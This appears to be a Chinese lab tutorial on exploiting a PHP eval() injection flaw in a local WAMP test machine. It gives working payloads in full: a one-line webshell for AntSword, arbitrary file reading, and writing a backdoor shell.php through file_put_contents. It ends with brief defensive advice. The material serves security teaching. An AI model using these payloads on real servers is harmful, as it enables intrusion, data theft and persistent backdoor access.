【PHP注入02】PHP注入漏洞利用实验

1 实验简介

1.1 实验目的

  1. 了解PHP漏洞的危害;
  2. 掌握PHP漏洞的利用方法。

1.2 实验环境

  1. 靶机:win2008虚拟机,部署WAMP环境,虚拟机系统安装及WAMP部署方法参考文章《win2008R2SP1+WAMP环境部署》。在网站根目录下创建phptest.php文件,该文件代码存在eval()函数漏洞,详细代码参考文章《PHP语言常见可注入函数》。
  2. 真实机:win10系统,安装中国蚁剑软件。

2 实验内容

2.1 实验一:直接获取shell

  1. 当访问存在eval函数漏洞的网址时,提交参数为?code=@eval($_POST[1]);,即可构成一句话木马,密码为1,建议配合中国蚁剑使用。
  2. 运行中国蚁剑,在界面空白处点击右键,点击添加数据。
    在这里插入图片描述
  3. 填写参数如下,其中URL中要注意语句结尾应有分号。填写后点击提交。
    在这里插入图片描述
  4. 提交后可以看到页面多了一条内容,双击可以看到靶机的相关信息。
    在这里插入图片描述

2.2 实验二:获取当前文件的绝对路径。

当访问存在eval函数漏洞的网址时,提交参数为?code=print(__FILE__);即可获取当前网页的绝对路径,其他漏洞依次类推。
在这里插入图片描述

2.3 实验三:读文件

  1. 前提:(1)目标文件路径;(2)读取权限。
  2. 方法:利用file_get_contents()函数读取服务器文件。
  3. 例子:要读取服务器的hosts文件,传入参数?code=var_dump(file_get_contents('c:\windows\system32\drivers\etc\hosts'));,即可将目标文件内容显示在页面上。
    在这里插入图片描述

2.4 实验四:写文件

  1. 前提:具备文件夹的写入权限。
  2. 方法:利用file_put_contents()函数写入服务器文件,该函数的作用在于将第二个参数作为内容写入到第一个参数的文件中。
  3. 例子:传入参数?code=file_put_contents($_POST[1],$_POST[2]);,同时利用BurpSuite工具截取请求,修改请求为POST类型并在右侧添加POST参数内容,参数1值为shell.php,参数2值为<?php eval($_POST['ant']); ?>,表示在当前目录下创建文件shell.php,并写入一个后门。
    在这里插入图片描述
  4. 点击send后,在服务器目录下,可以看到生成了shell.php文件。
  5. 使用蚁剑访问刚刚写入的后门文件,按以下填写参数,并点击添加。
    在这里插入图片描述
  6. 双击新添加的数据,即可管理靶机。
    在这里插入图片描述

3 防御

  1. 尽量不要使用eval()等函数,如需使用则一定要进行严格的过滤;
  2. preg_replace放弃使用/e修饰符;
  3. 在php.ini文件中,将assert等函数禁用掉,如disable_functions = assert

4 总结

  1. 获取网站相关的信息利用PHP漏洞;获取数据库相关内容利用SQL注入漏洞。
  2. 掌握漏洞验证及利用的过程。
  3. 掌握利用漏洞读写文件及建立后门的过程。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值